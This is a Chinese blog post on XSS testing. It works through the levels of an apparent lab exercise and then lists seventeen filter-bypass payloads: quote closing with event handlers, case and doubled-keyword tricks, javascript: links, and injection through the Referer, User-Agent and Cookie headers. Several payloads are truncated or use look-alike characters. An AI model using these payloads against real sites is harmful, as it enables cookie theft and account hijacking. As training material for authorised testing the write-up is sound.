xss测试步骤总结

文章目录

测试流程

先看bp

再看回显

测试常规xss语句

接着看F12上下文

然后是构造闭合

最后是依次测试绕过方法

成功的时候要能得到一个可以复现的url

1.开启burp

正常输入看响应包和发送包有没有相同点

如果没有进入第二步

2.测试常规xss语句

一般选即可,或,或 οnclick=alert(document.cookie)

只用做轮子测试,如果还不行,进入下一步

3.观察回显

比如上一步中输入,输入框回显异常

4.测试闭合与绕过

Level2

F12观察输入框位置上下文

可以发现语句存在需要闭合的地方,改成"><img src="javascript:alert('XSS')后语句看起来才正常

所以轮子应该类似">{javascript}

Level3

">//

此处使用了htmlspecialchars转义了<>等特殊字符,使得尖括号里的代码不能执行,如果找不到绕过方法,只能执行事件函数,比如onclick,直接结束

&:转换为&

":转换为"

':转换为成为 '

<:转换为<

:转换为>

由上可以看出单引号没有转义,可以用它来做闭合

Level4

同上

Level5

发现过滤了on,会在on之间插入_,ri也被过滤

因此只能找不带on和

Level6

这关链接也被过滤,但是可以通过大小写绕过

" oNclick=alert(document.cookie) "

总结:xss不要直接修改页面代码,要在输入框中构造,进而产生url链接

Level7

多写绕过

" oonnclick=alert(document.cookie) "

以此步骤测试,先看bp,再看回显,接着看F12,然后是看闭合,最后是依次测试绕过方法

5.xss绕过方法

1)测试需观察点

浏览器左下角查看器,查找注入点所在代码

burp响应包referer/UA/cookie三处位置看是否在提交包中有对应信息

xss不要直接修改页面代码,要在输入框中构造,进而产生url链接

2)无过滤法

3)">闭合

">

4)单引号闭合+事件函数

' οnclick=' alert("123");

5)双引号闭合+事件函数

" οnclick=alert('123');"

6)引号闭合+链接

"><a href=javascript:alert('xss')>xss

7)大小写绕过

"><a hRef=javascript:alert('xss')>xss

8)多写绕过

" oonnclick=alert('123');"

9)unicode编码

javascript:alert('xss')

javascrIpt:alert('xss')

10)unicode编码+//注释

javascript:alert('xss')//http://www.baidu.com

javascript:alert('xss')//http://

11)隐藏标签赋值

t_sort=123" type="" οnclick="alert('xss')

12)referer注入

" type="" οnclick="alert(document.cookie)

13)UA头注入

" type="" οnclick="alert(document.cookie)

14)Cookie注入

" οnclick="alert('xss') type="

15)`替换()

16)实体编码绕过

https://www.qqxiuzi.cn/bianma/zifushiti.php

17)--!>注释绕过

注释方式有两种:

相关推荐
渐儿21 小时前
NestJS 教程 Part 2 — 数据层、API 设计与业务异步
前端
渐儿21 小时前
Next.js 教程 Part 2 — 数据获取、Server Actions 与状态
前端
用户1257585243621 小时前
XYGo Admin ArtTable 表格组件:一行代码搞定加载、刷新与分页
前端
gogoing21 小时前
Prettier 配置说明
前端·javascript
十有八七21 小时前
Hermes Agent 自进化实现:从源码到架构的深度拆解
前端·人工智能
渐儿21 小时前
NestJS 生产级开发教程
前端
前端毕业班21 小时前
uni-app onShareAppMessage hook 原理分析
前端·javascript
gogoing21 小时前
React 分包加载优化
前端·react.js
gogoing21 小时前
Babel 配置与工具
前端·javascript
亲亲小宝宝鸭21 小时前
重新install,项目就跑不起来了?!
前端·npm